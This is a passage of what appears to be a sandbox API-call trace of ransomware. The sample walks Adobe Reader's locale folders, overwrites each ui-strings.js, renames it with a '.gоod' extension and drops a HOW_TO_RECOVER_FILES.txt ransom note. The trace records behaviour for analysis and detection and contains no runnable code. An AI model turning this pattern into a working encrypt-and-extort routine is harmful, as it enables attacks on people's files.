(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0264.845] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.845] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.846] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.846] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0264.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0264.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0264.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0264.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37a6598 | out: lpFileInformation=0x37a6598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55a)) returned 1 [0264.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0264.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.847] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.847] GetFileType (hFile=0x828) returned 0x1 [0264.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.847] GetFileType (hFile=0x828) returned 0x1 [0264.847] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x55a [0264.847] ReadFile (in: hFile=0x828, lpBuffer=0x37a6ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x37a6ea0*, lpNumberOfBytesRead=0x1f9ee638*=0x55a, lpOverlapped=0x0) returned 1 [0264.848] CloseHandle (hObject=0x828) returned 1 [0264.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.909] GetFileType (hFile=0x828) returned 0x1 [0264.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.909] GetFileType (hFile=0x828) returned 0x1 [0264.909] WriteFile (in: hFile=0x828, lpBuffer=0x381fe18*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x381fe18*, lpNumberOfBytesWritten=0x1f9ee548*=0x560, lpOverlapped=0x0) returned 1 [0264.909] CloseHandle (hObject=0x828) returned 1 [0264.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0264.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0264.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a1c661d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0264.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0264.910] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0264.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0264.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0264.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0265.185] GetFileType (hFile=0x8a8) returned 0x1 [0265.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0265.185] GetFileType (hFile=0x8a8) returned 0x1 [0265.186] WriteFile (in: hFile=0x8a8, lpBuffer=0x38f1550*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x38f1550*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0265.186] CloseHandle (hObject=0x8a8) returned 1 [0265.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0265.187] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl", lpFilePart=0x0) returned 0x77 [0265.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0265.187] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.187] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0265.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0265.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0265.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0265.188] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl", lpFilePart=0x0) returned 0x77 [0265.188] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0265.188] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.188] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.188] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.188] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0265.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0265.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0265.189] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0265.189] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3901428 | out: lpFileInformation=0x3901428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0265.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0265.189] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0265.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0265.189] GetFileType (hFile=0x8a8) returned 0x1 [0265.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0265.189] GetFileType (hFile=0x8a8) returned 0x1 [0265.189] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x570 [0265.189] ReadFile (in: hFile=0x8a8, lpBuffer=0x3901d40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3901d40*, lpNumberOfBytesRead=0x1f9ee638*=0x570, lpOverlapped=0x0) returned 1 [0265.190] CloseHandle (hObject=0x8a8) returned 1 [0265.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0265.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0265.220] GetFileType (hFile=0x8a8) returned 0x1 [0265.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0265.220] GetFileType (hFile=0x8a8) returned 0x1 [0265.220] WriteFile (in: hFile=0x8a8, lpBuffer=0x397bfa0*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x397bfa0*, lpNumberOfBytesWritten=0x1f9ee548*=0x580, lpOverlapped=0x0) returned 1 [0265.220] CloseHandle (hObject=0x8a8) returned 1 [0265.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0265.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0265.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a4bfe6a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0265.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0265.221] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\ui-strings.js.gоod")) returned 1 [0265.222] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0265.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0265.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 